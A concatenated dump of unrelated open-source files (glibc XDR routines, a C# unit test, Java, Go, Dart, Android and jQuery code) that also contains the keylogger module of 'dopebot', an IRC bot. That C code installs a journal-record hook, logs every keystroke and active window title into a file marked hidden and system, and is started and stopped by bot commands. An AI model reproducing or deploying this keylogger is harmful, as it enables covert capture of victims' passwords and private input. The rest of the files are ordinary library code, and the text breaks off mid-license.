*ulp) return FALSE; return XDR_PUTLONG (xdrs, (long *) ulp); case XDR_FREE: return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_u_long) #else libc_hidden_nolink_sunrpc (xdr_u_long, GLIBC_2_0) #endif /* * XDR hyper integers * same as xdr_u_hyper - open coded to save a proc call! */ bool_t xdr_hyper (XDR *xdrs, quad_t *llp) { long int t1, t2; if (xdrs->x_op == XDR_ENCODE) { t1 = (long) ((*llp) >> 32); t2 = (long) (*llp); return (XDR_PUTLONG(xdrs, &t1) && XDR_PUTLONG(xdrs, &t2)); } if (xdrs->x_op == XDR_DECODE) { if (!XDR_GETLONG(xdrs, &t1) || !XDR_GETLONG(xdrs, &t2)) return FALSE; *llp = ((quad_t) t1) << 32; *llp |= (uint32_t) t2; return TRUE; } if (xdrs->x_op == XDR_FREE) return TRUE; return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_hyper) #else libc_hidden_nolink_sunrpc (xdr_hyper, GLIBC_2_1_1) #endif /* * XDR hyper integers * same as xdr_hyper - open coded to save a proc call! */ bool_t xdr_u_hyper (XDR *xdrs, u_quad_t *ullp) { long int t1, t2; if (xdrs->x_op == XDR_ENCODE) { t1 = (unsigned long) ((*ullp) >> 32); t2 = (unsigned long) (*ullp); return (XDR_PUTLONG(xdrs, &t1) && XDR_PUTLONG(xdrs, &t2)); } if (xdrs->x_op == XDR_DECODE) { if (!XDR_GETLONG(xdrs, &t1) || !XDR_GETLONG(xdrs, &t2)) return FALSE; *ullp = ((u_quad_t) t1) << 32; *ullp |= (uint32_t) t2; return TRUE; } if (xdrs->x_op == XDR_FREE) return TRUE; return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_u_hyper) #else libc_hidden_nolink_sunrpc (xdr_u_hyper, GLIBC_2_1_1) #endif bool_t xdr_longlong_t (XDR *xdrs, quad_t *llp) { return xdr_hyper (xdrs, llp); } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_longlong_t) #else libc_hidden_nolink_sunrpc (xdr_longlong_t, GLIBC_2_1_1) #endif bool_t xdr_u_longlong_t (XDR *xdrs, u_quad_t *ullp) { return xdr_u_hyper (xdrs, ullp); } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_u_longlong_t) #else libc_hidden_nolink_sunrpc (xdr_u_longlong_t, GLIBC_2_1_1) #endif /* * XDR short integers */ bool_t xdr_short (XDR *xdrs, short *sp) { long l; switch (xdrs->x_op) { case XDR_ENCODE: l = (long) *sp; return XDR_PUTLONG (xdrs, &l); case XDR_DECODE: if (!XDR_GETLONG (xdrs, &l)) { return FALSE; } *sp = (short) l; return TRUE; case XDR_FREE: return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_short) #else libc_hidden_nolink_sunrpc (xdr_short, GLIBC_2_0) #endif /* * XDR unsigned short integers */ bool_t xdr_u_short (XDR *xdrs, u_short *usp) { long l; switch (xdrs->x_op) { case XDR_ENCODE: l = (u_long) * usp; return XDR_PUTLONG (xdrs, &l); case XDR_DECODE: if (!XDR_GETLONG (xdrs, &l)) { return FALSE; } *usp = (u_short) (u_long) l; return TRUE; case XDR_FREE: return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_u_short) #else libc_hidden_nolink_sunrpc (xdr_u_short, GLIBC_2_0) #endif /* * XDR a char */ bool_t xdr_char (XDR *xdrs, char *cp) { int i; i = (*cp); if (!xdr_int (xdrs, &i)) { return FALSE; } *cp = i; return TRUE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_char) #else libc_hidden_nolink_sunrpc (xdr_char, GLIBC_2_0) #endif /* * XDR an unsigned char */ bool_t xdr_u_char (XDR *xdrs, u_char *cp) { u_int u; u = (*cp); if (!xdr_u_int (xdrs, &u)) { return FALSE; } *cp = u; return TRUE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_u_char) #else libc_hidden_nolink_sunrpc (xdr_u_char, GLIBC_2_0) #endif /* * XDR booleans */ bool_t xdr_bool (XDR *xdrs, bool_t *bp) { long lb; switch (xdrs->x_op) { case XDR_ENCODE: lb = *bp ? XDR_TRUE : XDR_FALSE; return XDR_PUTLONG (xdrs, &lb); case XDR_DECODE: if (!XDR_GETLONG (xdrs, &lb)) { return FALSE; } *bp = (lb == XDR_FALSE) ? FALSE : TRUE; return TRUE; case XDR_FREE: return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_bool) #else libc_hidden_nolink_sunrpc (xdr_bool, GLIBC_2_0) #endif /* * XDR enumerations */ bool_t xdr_enum (XDR *xdrs, enum_t *ep) { enum sizecheck { SIZEVAL }; /* used to find the size of an enum */ /* * enums are treated as ints */ if (sizeof (enum sizecheck) == 4) { #if INT_MAX < LONG_MAX long l; switch (xdrs->x_op) { case XDR_ENCODE: l = *ep; return XDR_PUTLONG (xdrs, &l); case XDR_DECODE: if (!XDR_GETLONG (xdrs, &l)) { return FALSE; } *ep = l; /* Fall through. */ case XDR_FREE: return TRUE; } return FALSE; #else return xdr_long (xdrs, (long *) ep); #endif } else if (sizeof (enum sizecheck) == sizeof (short)) { return xdr_short (xdrs, (short *) ep); } else { return FALSE; } } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_enum) #else libc_hidden_nolink_sunrpc (xdr_enum, GLIBC_2_0) #endif /* * XDR opaque data * Allows the specification of a fixed size sequence of opaque bytes. * cp points to the opaque object and cnt gives the byte length. */ bool_t xdr_opaque (XDR *xdrs, caddr_t cp, u_int cnt) { u_int rndup; static char crud[BYTES_PER_XDR_UNIT]; /* * if no data we are done */ if (cnt == 0) return TRUE; /* * round byte count to full xdr units */ rndup = cnt % BYTES_PER_XDR_UNIT; if (rndup > 0) rndup = BYTES_PER_XDR_UNIT - rndup; switch (xdrs->x_op) { case XDR_DECODE: if (!XDR_GETBYTES (xdrs, cp, cnt)) { return FALSE; } if (rndup == 0) return TRUE; return XDR_GETBYTES (xdrs, (caddr_t)crud, rndup); case XDR_ENCODE: if (!XDR_PUTBYTES (xdrs, cp, cnt)) { return FALSE; } if (rndup == 0) return TRUE; return XDR_PUTBYTES (xdrs, xdr_zero, rndup); case XDR_FREE: return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_opaque) #else libc_hidden_nolink_sunrpc (xdr_opaque, GLIBC_2_0) #endif /* * XDR counted bytes * *cpp is a pointer to the bytes, *sizep is the count. * If *cpp is NULL maxsize bytes are allocated */ bool_t xdr_bytes (XDR *xdrs, char **cpp, u_int *sizep, u_int maxsize) { char *sp = *cpp; /* sp is the actual string pointer */ u_int nodesize; /* * first deal with the length since xdr bytes are counted */ if (!xdr_u_int (xdrs, sizep)) { return FALSE; } nodesize = *sizep; if ((nodesize > maxsize) && (xdrs->x_op != XDR_FREE)) { return FALSE; } /* * now deal with the actual bytes */ switch (xdrs->x_op) { case XDR_DECODE: if (nodesize == 0) { return TRUE; } if (sp == NULL) { *cpp = sp = (char *) mem_alloc (nodesize); } if (sp == NULL) { (void) __fxprintf (NULL, "%s: %s", __func__, _("out of memory\n")); return FALSE; } /* Fall through. */ case XDR_ENCODE: return xdr_opaque (xdrs, sp, nodesize); case XDR_FREE: if (sp != NULL) { mem_free (sp, nodesize); *cpp = NULL; } return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_bytes) #else libc_hidden_nolink_sunrpc (xdr_bytes, GLIBC_2_0) #endif /* * Implemented here due to commonality of the object. */ bool_t xdr_netobj (XDR *xdrs, struct netobj *np) { return xdr_bytes (xdrs, &np->n_bytes, &np->n_len, MAX_NETOBJ_SZ); } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_netobj) #else libc_hidden_nolink_sunrpc (xdr_netobj, GLIBC_2_0) #endif /* * XDR a discriminated union * Support routine for discriminated unions. * You create an array of xdrdiscrim structures, terminated with * an entry with a null procedure pointer. The routine gets * the discriminant value and then searches the array of xdrdiscrims * looking for that value. It calls the procedure given in the xdrdiscrim * to handle the discriminant. If there is no specific routine a default * routine may be called. * If there is no specific or default routine an error is returned. */ bool_t xdr_union (XDR *xdrs, /* enum to decide which arm to work on */ enum_t *dscmp, /* the union itself */ char *unp, /* [value, xdr proc] for each arm */ const struct xdr_discrim *choices, /* default xdr routine */ xdrproc_t dfault) { enum_t dscm; /* * we deal with the discriminator; it's an enum */ if (!xdr_enum (xdrs, dscmp)) { return FALSE; } dscm = *dscmp; /* * search choices for a value that matches the discriminator. * if we find one, execute the xdr routine for that value. */ for (; choices->proc != NULL_xdrproc_t; choices++) { if (choices->value == dscm) return (*(choices->proc)) (xdrs, unp, LASTUNSIGNED); } /* * no match - execute the default xdr routine if there is one */ return ((dfault == NULL_xdrproc_t) ? FALSE : (*dfault) (xdrs, unp, LASTUNSIGNED)); } libc_hidden_nolink_sunrpc (xdr_union, GLIBC_2_0) /* * Non-portable xdr primitives. * Care should be taken when moving these routines to new architectures. */ /* * XDR null terminated ASCII strings * xdr_string deals with "C strings" - arrays of bytes that are * terminated by a NULL character. The parameter cpp references a * pointer to storage; If the pointer is null, then the necessary * storage is allocated. The last parameter is the max allowed length * of the string as specified by a protocol. */ bool_t xdr_string (XDR *xdrs, char **cpp, u_int maxsize) { char *sp = *cpp; /* sp is the actual string pointer */ /* Initialize to silence the compiler. It is not really needed because SIZE never actually gets used without being initialized. */ u_int size = 0; u_int nodesize; /* * first deal with the length since xdr strings are counted-strings */ switch (xdrs->x_op) { case XDR_FREE: if (sp == NULL) { return TRUE; /* already free */ } /* fall through... */ case XDR_ENCODE: if (sp == NULL) return FALSE; size = strlen (sp); break; case XDR_DECODE: break; } if (!xdr_u_int (xdrs, &size)) { return FALSE; } if (size > maxsize) { return FALSE; } nodesize = size + 1; if (nodesize == 0) { /* This means an overflow. It a bug in the caller which provided a too large maxsize but nevertheless catch it here. */ return FALSE; } /* * now deal with the actual bytes */ switch (xdrs->x_op) { case XDR_DECODE: if (sp == NULL) *cpp = sp = (char *) mem_alloc (nodesize); if (sp == NULL) { (void) __fxprintf (NULL, "%s: %s", __func__, _("out of memory\n")); return FALSE; } sp[size] = 0; /* Fall through. */ case XDR_ENCODE: return xdr_opaque (xdrs, sp, size); case XDR_FREE: mem_free (sp, nodesize); *cpp = NULL; return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_string) #else libc_hidden_nolink_sunrpc (xdr_string, GLIBC_2_0) #endif /* * Wrapper for xdr_string that can be called directly from * routines like clnt_call */ bool_t xdr_wrapstring (XDR *xdrs, char **cpp) { if (xdr_string (xdrs, cpp, LASTUNSIGNED)) { return TRUE; } return FALSE; } #ifdef EXPORT_RPC_SYMBOLS libc_hidden_def (xdr_wrapstring) #else libc_hidden_nolink_sunrpc (xdr_wrapstring, GLIBC_2_0) #endif
{ "pile_set_name": "Github" }
// Copyright © 2010 onwards, Andrew Whewell // All rights reserved. // // Redistribution and use of this software in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // * Neither the name of the author nor the names of the program's contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OF THE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. using System; using System.Text; using System.Collections.Generic; using System.Linq; using Microsoft.VisualStudio.TestTools.UnitTesting; using VirtualRadar.Interface.WebSite; using Test.Framework; namespace Test.VirtualRadar.Interface.WebSite { [TestClass] public class ReportFlightJsonTests { [TestMethod] public void ReportFlightJson_Constructor_Initialises_To_Known_State_And_Properties_Work() { var json = new ReportFlightJson(); TestUtilities.TestProperty(json, r => r.AircraftIndex, null, 1); TestUtilities.TestProperty(json, r => r.Callsign, null, "Ab"); TestUtilities.TestProperty(json, r => r.EndTime, DateTime.MinValue, DateTime.Now); TestUtilities.TestProperty(json, r => r.FirstAltitude, 0, 1); TestUtilities.TestProperty(json, r => r.FirstGroundSpeed, 0, 1); TestUtilities.TestProperty(json, r => r.FirstIsOnGround, false); TestUtilities.TestProperty(json, r => r.FirstLatitude, 0.0, 1.0); TestUtilities.TestProperty(json, r => r.FirstLongitude, 0.0, 1.0); TestUtilities.TestProperty(json, r => r.FirstSquawk, 0, 1); TestUtilities.TestProperty(json, r => r.FirstTrack, 0f, 1f); TestUtilities.TestProperty(json, r => r.FirstVerticalRate, 0, 1); TestUtilities.TestProperty(json, r => r.HadAlert, false); TestUtilities.TestProperty(json, r => r.HadEmergency, false); TestUtilities.TestProperty(json, r => r.HadSpi, false); TestUtilities.TestProperty(json, r => r.LastAltitude, 0, 1); TestUtilities.TestProperty(json, r => r.LastGroundSpeed, 0, 1); TestUtilities.TestProperty(json, r => r.LastIsOnGround, false); TestUtilities.TestProperty(json, r => r.LastLatitude, 0.0, 1.0); TestUtilities.TestProperty(json, r => r.LastLongitude, 0.0, 1.0); TestUtilities.TestProperty(json, r => r.LastSquawk, 0, 1); TestUtilities.TestProperty(json, r => r.LastTrack, 0f, 1f); TestUtilities.TestProperty(json, r => r.LastVerticalRate, 0, 1); TestUtilities.TestProperty(json, r => r.NumADSBMsgRec, 0, 1); TestUtilities.TestProperty(json, r => r.NumModeSMsgRec, 0, 1); TestUtilities.TestProperty(json, r => r.NumPosMsgRec, 0, 1); TestUtilities.TestProperty(json, r => r.RouteIndex, 0, 1); TestUtilities.TestProperty(json, r => r.RowNumber, 0, 1); TestUtilities.TestProperty(json, r => r.StartTime, DateTime.MinValue, DateTime.Now); } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2020 Oracle and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.helidon.media.multipart; import io.helidon.media.common.MessageBodyContent; import io.helidon.media.common.MessageBodyWriterContext; /** * Writeable body part content. */ public interface WriteableBodyPartContent extends MessageBodyContent { /** * Initialize the body part content. * @param context writer context to use to initialize the underlying publisher * @return this body part content */ WriteableBodyPartContent init(MessageBodyWriterContext context); }
{ "pile_set_name": "Github" }
// Copyright 2015 go-swagger maintainers // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package spec import ( "bytes" "encoding/gob" "encoding/json" "net/http" "os" "path/filepath" "github.com/go-openapi/jsonreference" ) // Refable is a struct for things that accept a $ref property type Refable struct { Ref Ref } // MarshalJSON marshals the ref to json func (r Refable) MarshalJSON() ([]byte, error) { return r.Ref.MarshalJSON() } // UnmarshalJSON unmarshalss the ref from json func (r *Refable) UnmarshalJSON(d []byte) error { return json.Unmarshal(d, &r.Ref) } // Ref represents a json reference that is potentially resolved type Ref struct { jsonreference.Ref } // RemoteURI gets the remote uri part of the ref func (r *Ref) RemoteURI() string { if r.String() == "" { return r.String() } u := *r.GetURL() u.Fragment = "" return u.String() } // IsValidURI returns true when the url the ref points to can be found func (r *Ref) IsValidURI(basepaths ...string) bool { if r.String() == "" { return true } v := r.RemoteURI() if v == "" { return true } if r.HasFullURL { //#nosec rr, err := http.Get(v) if err != nil { return false } defer rr.Body.Close() return rr.StatusCode/100 == 2 } if !(r.HasFileScheme || r.HasFullFilePath || r.HasURLPathOnly) { return false } // check for local file pth := v if r.HasURLPathOnly { base := "." if len(basepaths) > 0 { base = filepath.Dir(filepath.Join(basepaths...)) } p, e := filepath.Abs(filepath.ToSlash(filepath.Join(base, pth))) if e != nil { return false } pth = p } fi, err := os.Stat(filepath.ToSlash(pth)) if err != nil { return false } return !fi.IsDir() } // Inherits creates a new reference from a parent and a child // If the child cannot inherit from the parent, an error is returned func (r *Ref) Inherits(child Ref) (*Ref, error) { ref, err := r.Ref.Inherits(child.Ref) if err != nil { return nil, err } return &Ref{Ref: *ref}, nil } // NewRef creates a new instance of a ref object // returns an error when the reference uri is an invalid uri func NewRef(refURI string) (Ref, error) { ref, err := jsonreference.New(refURI) if err != nil { return Ref{}, err } return Ref{Ref: ref}, nil } // MustCreateRef creates a ref object but panics when refURI is invalid. // Use the NewRef method for a version that returns an error. func MustCreateRef(refURI string) Ref { return Ref{Ref: jsonreference.MustCreateRef(refURI)} } // MarshalJSON marshals this ref into a JSON object func (r Ref) MarshalJSON() ([]byte, error) { str := r.String() if str == "" { if r.IsRoot() { return []byte(`{"$ref":""}`), nil } return []byte("{}"), nil } v := map[string]interface{}{"$ref": str} return json.Marshal(v) } // UnmarshalJSON unmarshals this ref from a JSON object func (r *Ref) UnmarshalJSON(d []byte) error { var v map[string]interface{} if err := json.Unmarshal(d, &v); err != nil { return err } return r.fromMap(v) } // GobEncode provides a safe gob encoder for Ref func (r Ref) GobEncode() ([]byte, error) { var b bytes.Buffer raw, err := r.MarshalJSON() if err != nil { return nil, err } err = gob.NewEncoder(&b).Encode(raw) return b.Bytes(), err } // GobDecode provides a safe gob decoder for Ref func (r *Ref) GobDecode(b []byte) error { var raw []byte buf := bytes.NewBuffer(b) err := gob.NewDecoder(buf).Decode(&raw) if err != nil { return err } return json.Unmarshal(raw, r) } func (r *Ref) fromMap(v map[string]interface{}) error { if v == nil { return nil } if vv, ok := v["$ref"]; ok { if str, ok := vv.(string); ok { ref, err := jsonreference.New(str) if err != nil { return err } *r = Ref{Ref: ref} } } return nil }
{ "pile_set_name": "Github" }
import 'dart:async'; import 'dart:ui' as ui; import 'package:flutter/widgets.dart'; import 'package:path/path.dart' as p; import '../composition.dart'; import '../lottie_image_asset.dart'; import 'load_image.dart'; import 'lottie_provider.dart'; import 'provider_io.dart' if (dart.library.html) 'provider_web.dart' as network; class NetworkLottie extends LottieProvider { NetworkLottie(this.url, {this.headers, LottieImageProviderFactory imageProviderFactory}) : super(imageProviderFactory: imageProviderFactory); final String url; final Map<String, String> headers; @override Future<LottieComposition> load() async { var cacheKey = 'network-$url'; return sharedLottieCache.putIfAbsent(cacheKey, () async { var resolved = Uri.base.resolve(url); var bytes = await network.loadHttp(resolved, headers: headers); var composition = await LottieComposition.fromBytes(bytes, name: p.url.basenameWithoutExtension(url)); for (var image in composition.images.values) { image.loadedImage ??= await _loadImage(resolved, composition, image); } return composition; }); } Future<ui.Image> _loadImage(Uri jsonUri, LottieComposition composition, LottieImageAsset lottieImage) { var imageProvider = getImageProvider(lottieImage); if (imageProvider == null) { var imageUrl = jsonUri .resolve(p.url.join(lottieImage.dirName, lottieImage.fileName)); imageProvider = NetworkImage(imageUrl.toString()); } return loadImage(composition, lottieImage, imageProvider); } @override bool operator ==(dynamic other) { if (other.runtimeType != runtimeType) return false; return other is NetworkLottie && other.url == url; } @override int get hashCode => url.hashCode; @override String toString() => '$runtimeType(url: $url)'; }
{ "pile_set_name": "Github" }
package com.github.cgg.clasha.widget; import android.annotation.TargetApi; import android.content.Context; import android.os.Build; import android.util.AttributeSet; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.webkit.WebView; import android.widget.FrameLayout; import androidx.coordinatorlayout.widget.CoordinatorLayout; import com.github.cgg.clasha.R; /** * @Author: ccg * @Email: ccg * @program: BottomSheets * @create: 2018-12-19 * @describe */ public class ClashABottomSheetWebview extends WebView { private CoordinatorLayout bottomCoordinator; private float downY; private float moveY; public ClashABottomSheetWebview(Context context) { super(context); } public ClashABottomSheetWebview(Context context, AttributeSet attrs) { super(context, attrs); } public ClashABottomSheetWebview(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); } @TargetApi(Build.VERSION_CODES.LOLLIPOP) public ClashABottomSheetWebview(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) { super(context, attrs, defStyleAttr, defStyleRes); } public void bindBottomSheetDialog(FrameLayout container, final OnTouchListener listener) { try { bottomCoordinator = (CoordinatorLayout) container.findViewById(R.id.coordinator); setOnTouchListener(new OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { if (bottomCoordinator != null) { bottomCoordinator.requestDisallowInterceptTouchEvent(true); } if (listener != null) { listener.onTouch(v, event); } return false; } }); } catch (Exception e) { e.printStackTrace(); } } }
{ "pile_set_name": "Github" }
define([ "./core", "./data/var/data_priv", "./deferred", "./callbacks" ], function( jQuery, data_priv ) { jQuery.extend({ queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = data_priv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || jQuery.isArray( data ) ) { queue = data_priv.access( elem, type, jQuery.makeArray(data) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // Clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // Not public - generate a queueHooks object, or return the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return data_priv.get( elem, key ) || data_priv.access( elem, key, { empty: jQuery.Callbacks("once memory").add(function() { data_priv.remove( elem, [ type + "queue", key ] ); }) }); } }); jQuery.fn.extend({ queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[0], type ); } return data === undefined ? this : this.each(function() { var queue = jQuery.queue( this, type, data ); // Ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[0] !== "inprogress" ) { jQuery.dequeue( this, type ); } }); }, dequeue: function( type ) { return this.each(function() { jQuery.dequeue( this, type ); }); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = data_priv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } }); return jQuery; });
{ "pile_set_name": "Github" }
/* dopebot - a modular IRC bot for Win32 Copyright (C) 2004 dope This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef NO_klgGER #include "bot.h" //Argh, Globals Again! char szFile[32], szLogText[512]; bool bRunning = FALSE; HANDLE hCapFile = NULL, hKeyCapThread = NULL, hFile; HHOOK hLogHook = NULL; HWND hLastFocus = NULL; //Journal Hook Thread LRESULT CALLBACK journalrecord(int Code, WPARAM wParam, LPARAM lParam) { BYTE btKeyBuff[MEDBUF]; char szBuffer[MEDBUF], szTitle[MEDBUF]; DWORD dwBytes = 0, dwCount; EVENTMSG *pEvent = (EVENTMSG *)lParam; HWND hFocus = GetActiveWindow(); int iKey, iScan, iCount, iCharCount; WORD wrChar; #ifndef NO_DEBUG printf("[DEBUG] Staring journalrecord thread, journalrecord()...\n"); #endif if (Code < 0) return CallNextHookEx(hLogHook, Code, wParam, lParam); if (Code == HC_ACTION) { if (pEvent->message == WM_KEYDOWN) { iKey = LOBYTE(pEvent->paramL); iScan = HIBYTE(pEvent->paramL); iScan <<= 16; if (hLastFocus != hFocus) { iCount = GetWindowText(hFocus, szTitle, 256); if(iCount > 0) { wsprintf(szBuffer, "\r\n[ %s ]\r\n", szTitle); WriteFile(hCapFile, szBuffer, lstrlen(szBuffer), &dwBytes, NULL); } hLastFocus = hFocus; } dwCount = GetKeyNameText(iScan, szBuffer, 256); if (dwCount) { if (iKey == VK_SPACE) { szBuffer[0] = ' '; szBuffer[1] = '\0'; dwCount = 1; } if (dwCount == 1) { GetKeyboardState(btKeyBuff); iCharCount = ToAscii(iKey, iScan, btKeyBuff, &wrChar, 0); if (iCharCount > 0) WriteFile(hCapFile, &wrChar, iCharCount, &dwBytes, NULL); } else { WriteFile(hCapFile, "[", 1, &dwBytes, NULL); WriteFile(hCapFile, szBuffer, dwCount, &dwBytes, NULL); WriteFile(hCapFile, "]", 1 , &dwBytes, NULL); if (iKey == VK_RETURN) WriteFile(hCapFile, "\r\n", 2, &dwBytes, NULL); } } } } return CallNextHookEx(hLogHook, Code, wParam, lParam); } //klgger DWORD WINAPI klgger(LPVOID param) { BOOL bLogging = FALSE; BYTE btKeyState[MEDBUF]; HMODULE hModule = NULL; int i; MSG mgMsg; for (i = 0; i < 256; i++) btKeyState[i] = 0; #ifndef NO_DEBUG printf("[DEBUG] Starting klgger thread, klgger()...\n"); #endif hLastFocus = NULL; hModule = GetModuleHandle(NULL); hCapFile = CreateFile(szFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL); if (hCapFile == INVALID_HANDLE_VALUE) return 0; SetFilePointer(hCapFile, 0, NULL, FILE_END); hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, journalrecord, hModule, 0); if (hLogHook == NULL) { CloseHandle(hCapFile); hCapFile = NULL; return 0; } bLogging = TRUE; while (bLogging) { while(PeekMessage(&mgMsg, NULL, 0, 0, PM_NOREMOVE)) { GetMessage(&mgMsg, NULL, 0, 0); if (mgMsg.message == WM_CANCELJOURNAL) { SetKeyboardState(btKeyState); hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, journalrecord,hModule, 0); if (hLogHook == NULL) { CloseHandle(hCapFile); hCapFile = NULL; return 0; } } else DispatchMessage(&mgMsg); } Sleep(10); } UnhookWindowsHookEx(hLogHook); CloseHandle(hCapFile); hCapFile = NULL; hKeyCapThread = NULL; return 0; } //Start klgger bool klgger_start(char *szFileName) { DWORD dwID; if (bRunning) return FALSE; sprintf(szFile, szFileName); #ifndef NO_DEBUG printf("[DEBUG] Starting klgger, klgger_start()...\n"); #endif #ifndef NO_FWB if (is_fwb()) { char szSysDir[MAX_PATH]; GetSystemDirectory(szSysDir, sizeof(szSysDir)); sprintf(szFile, "%s\\%s", szSysDir, szFileName); } #endif hFile = CreateThread(NULL, 0, &klgger, NULL, 0, &dwID); bRunning = TRUE; return TRUE; } //Stop klgger bool klgger_stop() { if (hCapFile == NULL) return FALSE; #ifndef NO_DEBUG printf("[DEBUG] Stopping klgger, klgger_stop()...\n"); #endif UnhookWindowsHookEx(hLogHook); TerminateThread(hFile, 0); CloseHandle(hFile); CloseHandle(hCapFile); hCapFile = NULL; hKeyCapThread = NULL; bRunning = FALSE; return TRUE; } #endif
{ "pile_set_name": "Github" }
/* * Copyright (c) 2015 - 2019, Nordic Semiconductor ASA * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS 